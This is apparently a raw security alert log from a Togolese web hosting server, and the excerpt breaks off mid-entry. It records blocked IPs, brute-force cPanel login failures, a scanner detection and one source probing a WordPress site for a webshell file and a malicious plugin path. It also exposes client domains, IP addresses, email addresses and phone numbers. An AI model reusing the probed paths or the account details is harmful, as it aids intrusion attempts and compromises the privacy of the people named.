IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-18.45.137.212.23||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.17.96.139
country_id: 3017382
description:
Jun 10 15:18:16 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.17.96.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.118.10
country_id: 2363686
description:
[2026-06-10 15:18:18 +0000] info [webmaild] 196.170.118.10 - kakue@togointerim.net "GET /cpsess7537012358/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.140
country_id: 1880251
description:
47.128.96.140 - - [10/Jun/2026:15:18:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973038&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flundi-3-mai-2021-ferie-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104708 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/lundi-3-mai-2021-ferie-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.140


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [10/Jun/2026:15:18:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920553&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-du-prince-philip%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104721 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-du-prince-philip/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [10/Jun/2026:15:18:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777283&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faccident-de-voiture-dans-le-drome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104734 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/accident-de-voiture-dans-le-drome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [10/Jun/2026:15:20:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250854&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famende-de-3000-euros%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104799 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amende-de-3000-euros/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.70.82
country_id: 1512440
description:
2026-06-10 15:20:01 H=([0.0.0.0]) [84.54.70.82]:24502 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.196
country_id: 1880251
description:
47.128.96.196 - - [10/Jun/2026:15:21:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251113&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frecensement-electoral-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104873 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/recensement-electoral-2023/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.196


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.157.0
country_id: 2363686
description:
102.64.157.0 - - [10/Jun/2026:15:21:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843547&pdata=https%253A%252F%252Flaunetogo.tg%252Fkara-accueille-pour-la-premiere-fois-le-congres-national-de-cardiologie-du-togo-plus-de-300-professionnels-de-sante-des-savanes-de-la-centrale-et-kara-formes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104892 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/kara-accueille-pour-la-premiere-fois-le-congres-national-de-cardiologie-du-togo-plus-de-300-professionnels-de-sante-des-savanes-de-la-centrale-et-kara-formes/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.157.0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.197
country_id: 1880251
description:
47.128.96.197 - - [10/Jun/2026:15:20:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10449303&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdates-des-examens-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104846 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dates-des-examens-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.197


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.137.212.23
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-22.45.137.212.23||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.103.67
country_id: 6252001
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/04/YasApp_24Heur.Info_.jpg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:15:22:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935256&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdisciplines-sportives-suspendues-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781104919 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/disciplines-sportives-suspendues-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.227.172.13
country_id: 2017370
description:
Jun 10 15:23:47 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.227.172.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.111.226.66
country_id: 1210997
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/career HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.70.82
country_id: 1512440
description:
2026-06-10 15:25:25 H=([0.0.0.0]) [84.54.70.82]:11406 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [10/Jun/2026:15:25:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856870&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fugp-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105103 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ugp-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 45.137.126.64
country_id: 1269750
domain: www.whereis.free.netmaster.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/var/www/html/wp-includes||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.64
country_id: 1269750
domain: www.whereis.free.netmaster.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/link.php||SC:/var/www/html/wp-content||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.137.126.64
country_id: 1269750
domain: www.whereis.free.netmaster.tg
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.15||T:APACHE||SC:/var/www/html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.119
country_id: 1880251
description:
47.128.121.119 - - [10/Jun/2026:15:25:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145963&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F06%252F10%252Ftogo-auto-emplois-une-projection-de-10-000-creations-en-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105158 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/06/10/togo-auto-emplois-une-projection-de-10-000-creations-en-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.119


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.26.228.220
country_id: 3686110
domain: www.lepoint-actu.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lepoint-actu.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.26.228.220
country_id: 3686110
domain: www.lepoint-actu.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lepoint-actu.tghttp/www.lepoint-actu.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.16
country_id: 1880251
description:
47.128.96.16 - - [10/Jun/2026:15:26:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673876&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexamens-du-baccalaureat-deuxieme-partie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105162 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/examens-du-baccalaureat-deuxieme-partie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.16


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.117.71
country_id: 6252001
description:
[2026-06-10 15:27:08 +0000] info [cpaneld] 82.40.117.71 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.2
country_id: 1880251
description:
47.128.96.2 - - [10/Jun/2026:15:27:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869677&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmode-et-protection-de-lenvironnement%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105227 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mode-et-protection-de-lenvironnement/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.2


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - contact@kfauto.tg [06/10/2026:15:28:20 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: contact@kfauto.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 10 15:28:07 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [10/Jun/2026:15:28:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7378029&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsyndicat-des-hommes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105280 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/syndicat-des-hommes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.110.107
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.110.107||TA:163.198.110.107||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-10 15:28:56 +0000] info [cpaneld] 195.3.220.88 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.13
country_id: 1880251
description:
47.128.96.13 - - [10/Jun/2026:15:29:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723733&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcndh-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105359 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cndh-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.13


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-10 15:29:58 +0000] info [cpaneld] 195.3.220.88 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: modsec
rule: 77210801
name: IM360 WAF: Request Indicates a Security Scanner Scanned the Site
abuser: 196.170.7.35
country_id: 2363686
domain: 154.70.82.246
description:
IM360 WAF: Request Indicates a Security Scanner Scanned the Site||MV:NESSUS::SOAP||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [10/Jun/2026:15:32:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6670232&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105531 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [10/Jun/2026:15:31:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185324&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105514 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.161
country_id: 1880251
description:
47.128.96.161 - - [10/Jun/2026:15:32:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10129773&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feducation-financiere-des-enfants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105571 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/education-financiere-des-enfants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.161


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 10 15:35:39 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le pr\xc3\xa9sident du conseil, faure essozimna gnassingb\xc3\xa9, a re\xc3\xa7u, le 08 juin dernier, en audience cheikh niang, ministre s\xc3\xa9n\xc3\xa9galais des affaires \xc3\xa9trang\xc3\xa8res et \xc3\xa9missaire sp\xc3\xa9cial du pr\xc3\xa9sident bassirou diomaye faye.</em></strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au centre de cette rencontre diplomatique de haut niveau, se trouve l'avenir de la communaut\xc3\xa9 \xc3\xa9conomique des \xc3\x89tats de l\xe2\x80\x99afrique de l\xe2\x80\x99ouest (cedeao). monsieur cheikh niang \xc3\xa9tait porteur d\xe2\x80\x99un message personnel du chef de l'\xc3\x89tat s\xc3\xa9n\xc3\xa9galais au pr\xc3\xa9sident du conseil togolais, ax\xc3\xa9 sur les ambitions r\xc3\xa9gionales du s\xc3\xa9n\xc3\xa9gal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"602px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:602px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>le diplomate s\xc3\xa9n\xc3\xa9galais a officiellement pr\xc3\xa9sent\xc3\xa9 la candidature du s\xc3\xa9n\xc3\xa9gal pour la pr\xc3\xa9sidence de la commission de la cedeao, ainsi que le profil du candidat retenu par le pr\xc3\xa9sident bassirou diomaye diakhar faye.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab je suis venu en qualit\xc3\xa9 d\xe2\x80\x99\xc3\xa9missaire du pr\xc3\xa9sident de la r\xc3\xa9publique du s\xc3\xa9n\xc3\xa9gal [...] porteur d\xe2\x80\x99un message personnel \xc3\xa0 son fr\xc3\xa8re et ami, le pr\xc3\xa9sident du conseil, faure essozimna gnassingb\xc3\xa9. j\xe2\x80\x99ai \xc3\xa9galement eu l\xe2\x80\x99honneur de pr\xc3\xa9senter au pr\xc3\xa9sident du conseil le candidat retenu par le pr\xc3\xa9sident s\xc3\xa9n\xc3\xa9galais pour l\xe2\x80\x99\xc3\xa9lection du prochain pr\xc3\xa9sident de la commission de la cedeao \xc2\xbb,</em> a pr\xc3\xa9cis\xc3\xa9, \xc3\xa0 l'issue de l'audience, cheikh niang.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que cette audience a \xc3\xa9galement \xc3\xa9t\xc3\xa9 l'occasion de r\xc3\xa9affirmer la solidit\xc3\xa9 des liens bilat\xc3\xa9raux qui unissent lom\xc3\xa9 et dakar. les deux nations partagent une vision commune de la coop\xc3\xa9ration et de la stabilit\xc3\xa9 r\xc3\xa9gionales depuis l'accession \xc3\xa0 leur souverainet\xc3\xa9 internationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le ministre s\xc3\xa9n\xc3\xa9galais a chaleureusement salu\xc3\xa9 le leadership du pr\xc3\xa9sident du conseil togolais, louant ses <em>\xc2\xab orientations lumineuses \xc2\xbb</em> et la clart\xc3\xa9 de ses conseils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31157,\"width\":\"552px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/18d98b1d-0295-41c7-afab-fc9c13606bd0-724x1024.jpg\" alt=\"\" class=\"wp-image-31157\" style=\"width:552px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>l'accueil de cette mission diplomatique s\xc3\xa9n\xc3\xa9galaise rappelle le r\xc3\xb4le de m\xc3\xa9diateur et de pivot que joue le togo au sein de l'espace ouest-africain. fid\xc3\xa8le \xc3\xa0 sa tradition diplomatique, le pays a toujours \xc5\x93uvr\xc3\xa9 aux c\xc3\xb4t\xc3\xa9s des autres \xc3\x89tats membres pour d\xc3\xa9fendre les valeurs fondatrices de l\xe2\x80\x99organisation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-10 15:36:19 +0000] info [cpaneld] 195.3.220.88 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 10 15:37:08 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [10/Jun/2026:15:36:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128221&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffinale-de-la-coupe-du-monde-fifa-qatar-2022%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105813 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/finale-de-la-coupe-du-monde-fifa-qatar-2022/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.227.172.13
country_id: 2017370
description:
Jun 10 15:38:34 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.227.172.13 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.95
country_id: 1880251
description:
47.128.121.95 - - [10/Jun/2026:15:39:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080941&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdisparitions-inquietantes-au-togo-86-personnes-retrouvees-16-toujours-recherchees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105963 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/disparitions-inquietantes-au-togo-86-personnes-retrouvees-16-toujours-recherchees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.95


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [10/Jun/2026:15:39:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12818839&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcouple-avec-5-enfants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781105952 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/couple-avec-5-enfants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.157
country_id: 1880251
description:
47.128.96.157 - - [10/Jun/2026:15:41:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395589&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprestation-de-serment-dalassane-ouattara%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781106084 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/prestation-de-serment-dalassane-ouattara/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.157


plugin: ossec
rule: 31130
